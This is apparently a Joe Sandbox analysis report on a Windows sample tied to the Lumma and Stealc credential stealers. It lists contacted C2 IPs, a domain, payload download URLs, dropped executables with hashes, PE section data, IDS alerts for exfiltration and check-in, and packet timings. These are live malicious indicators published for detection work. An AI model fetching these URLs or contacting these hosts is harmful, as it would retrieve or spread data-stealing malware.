https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FBVmDbz2nb.exe, 00000000.00000003.1466899359.0000000001626000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	FBVmDbz2nb.exe, 00000000.00000003.1644302712.0000000001612000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206	RBZFTNPOH3OCI4WNHGK52I3.exe, 00000004.00000002.1758332356.000000000116E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	FBVmDbz2nb.exe, 00000000.00000003.1417279577.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417377057.0000000005E69000.00000004.00000800.00020000.00000000.sdmp, FBVmDbz2nb.exe, 00000000.00000003.1417216166.0000000005E6C000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.32.96	cuddlyready.xyz	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579770
Start date and time:	2024-12-23 08:51:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FBVmDbz2nb.exe renamed because original name is a hash value
Original Sample Name:	09b1bb35206793151b49f63777b91054.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@1/3
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target FBVmDbz2nb.exe, PID 1380 because there are no executed function
Execution Graph export aborted for target RBZFTNPOH3OCI4WNHGK52I3.exe, PID 1524 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:52:52	API Interceptor	25x Sleep call for process: FBVmDbz2nb.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cuddlyready.xyz	QQ5BxgG5G6.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	FjFeChttqA.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	193.143.1.9
s-part-0035.t-0009.t-msedge.net	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	4je7za5c0V.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	nTyPEbq9wQ.lnk	Get hash	malicious	Unknown	Browse	13.107.246.63
	uuOuIXWp1W.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	dnf5RWZv2v.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	ME3htMIepa.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	stealcy11.exe	Get hash	malicious	Stealc	Browse	13.107.246.63
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	fiFdIrd.txt.js	Get hash	malicious	Unknown	Browse	13.107.246.63
	mPQW1NB2Px.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.157.254
	nTyPEbq9wQ.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	QQ5BxgG5G6.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	FjFeChttqA.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173
WHOLESALECONNECTIONSNL	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	20yLTIU4mS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	44EPDJT1V8.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.32.96
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	QQ5BxgG5G6.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	FjFeChttqA.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.32.96
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.32.96

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\225E7CNEQKY05J8BSS2KINA.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe

Download File

Process:	C:\Users\user\Desktop\FBVmDbz2nb.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2765312
Entropy (8bit):	6.472048555078744
Encrypted:	false
SSDEEP:	49152:7BHOMBnHvofpeKjh8RoNjIS1q4G0cL0+3JLmswbFze:71OMBnHvoUKaRoJIS1q4GNwFze
MD5:	579641D4119C3977AA3E5FDCBB740D8B
SHA1:	F1AAC5BF32B9121D64D71B41A0493525862AE82D
SHA-256:	2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
SHA-512:	50793412314B014BD779FC76AB1D59A87C6ED0DECD4550FF0C90190E53FFDA014EA51EC63B6D9C4B2A9D12B5341A19A079EB95A44DF5AC1E414C40BAB72D2094
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: Bire1g8ahY.exe, Detection: malicious, Browse Filename: w23Vg439U1.exe, Detection: malicious, Browse Filename: pfY4k1qisn.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...brdofphe..).......)..h..............@...pzoalvov. ...`....................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RBZFTNPOH3OCI4WNHGK52I3.exe

Download File

Process:	C:\Users\user\Desktop\FBVmDbz2nb.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2835456
Entropy (8bit):	6.4743871893569205
Encrypted:	false
SSDEEP:	49152:kSmc33xGO68K1vu9T+TS6fZ0pZxvPFfJi+1hSdY:kRqhG5P1vu9T+m6fZ2xvNj1hSdY
MD5:	59729E914FA8E15D347129643C03AC1F
SHA1:	80ACB4BE6A6534FB8DE67CAAFEE13A03D9E15754
SHA-256:	E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D
SHA-512:	B592B27B3DB5B041D1D45B206239FFD4B37C051AEB6EA0E74E57623920E15CB18F12696E596EAEB5788D57629917F9D8324C588EF8A62D6F470173795CA79B36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: Bire1g8ahY.exe, Detection: malicious, Browse Filename: w23Vg439U1.exe, Detection: malicious, Browse Filename: pfY4k1qisn.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......pN...........@...........................N......L+...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ynqricro..)...$...)..\|..............@...wjlvyldl.....`N.......+.............@....taggant.0...pN.."..."+.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9495031553328745
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FBVmDbz2nb.exe
File size:	1'857'536 bytes
MD5:	09b1bb35206793151b49f63777b91054
SHA1:	37c9c920869362b5455a70a98fb901d5d5a340e5
SHA256:	66599079adbb952b99adca3b776a860e4ace86b0cf7af08a4dc3b001cda657a8
SHA512:	bc8b89312abf0b0b24f119069c3e944009771d6b008d6592ee6fe5f6b1549d34b4888c8706b32232212e179fb320468e4f3163a056207ffb1181e0b679cfb546
SSDEEP:	49152:bzfh7wibC0fViSPJBlny6qeqgYYwbfMlt7svb24MexG6ml6:MQViyJB86qLywbfsg24MyG56
TLSH:	3B85330BA91A4638DA4F17330F46A7D44A25DAC7A27FE853AC20E431CEC73479695FC6
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@...........................I.....{u....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x899000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8784D7DE5Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	935e88a9e9021304c62f7233110dc37c	False	0.997418129280822	data	7.97568239553893	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2a6000	0x200	79db51a8080d3069b523faa4837f4538	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
truimtqs	0x2fa000	0x19e000	0x19d400	24aaa6e336479672bd3dcf2f7e053aa4	False	0.9947763063369631	data	7.953857764268723	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eplokceg	0x498000	0x1000	0x400	ae87d7b5d632410841dc440f0c26ccde	False	0.6953125	data	5.603947747444599	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x499000	0x3000	0x2200	1f551038402d8aa53d68637acec2517d	False	0.05801930147058824	DOS executable (COM)	0.6072239464339111	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T08:52:51.935894+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49717	104.21.32.96	443	TCP
2024-12-23T08:52:52.694147+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49717	104.21.32.96	443	TCP
2024-12-23T08:52:52.694147+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49717	104.21.32.96	443	TCP
2024-12-23T08:52:53.920113+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49723	104.21.32.96	443	TCP
2024-12-23T08:52:54.709104+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49723	104.21.32.96	443	TCP
2024-12-23T08:52:54.709104+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49723	104.21.32.96	443	TCP
2024-12-23T08:52:56.415964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49729	104.21.32.96	443	TCP
2024-12-23T08:52:59.013748+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49740	104.21.32.96	443	TCP
2024-12-23T08:53:01.247703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49746	104.21.32.96	443	TCP
2024-12-23T08:53:02.202627+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49746	104.21.32.96	443	TCP
2024-12-23T08:53:03.850515+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49752	104.21.32.96	443	TCP
2024-12-23T08:53:06.435138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49759	104.21.32.96	443	TCP
2024-12-23T08:53:10.122172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49771	104.21.32.96	443	TCP
2024-12-23T08:53:10.877104+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49771	104.21.32.96	443	TCP
2024-12-23T08:53:12.335287+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	49777	185.215.113.16	80	TCP
2024-12-23T08:53:27.428084+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49808	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:52:50.717482090 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:50.717535973 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:50.717611074 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:50.721343994 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:50.721359968 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:51.935818911 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:51.935894012 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:51.939492941 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:51.939505100 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:51.939779997 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:51.993911982 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.009119034 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.009177923 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.009289026 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:52.694144964 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:52.694250107 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:52.694340944 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.695831060 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.695831060 CET	49717	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.695887089 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:52.695915937 CET	443	49717	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:52.709285021 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.709321022 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:52.709602118 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.709624052 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:52.709629059 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:53.919913054 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:53.920113087 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:53.929757118 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:53.929769993 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:53.930157900 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:53.931932926 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:53.931932926 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:53.932003975 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.709115982 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.709157944 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.709184885 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.709214926 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.709227085 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:54.709237099 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.709254980 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:54.717423916 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.717461109 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.717494965 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.717555046 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:54.717555046 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:54.717561960 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.725708961 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.725773096 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:54.725780010 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.775717020 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:54.775726080 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.822072983 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:54.828721046 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.868979931 CET	49723	443	192.168.2.9	104.21.32.96
Dec 23, 2024 08:52:54.905412912 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.909389973 CET	443	49723	104.21.32.96	192.168.2.9
Dec 23, 2024 08:52:54.909429073 CET	443	49723	104.21.32.96	192.168.2.9
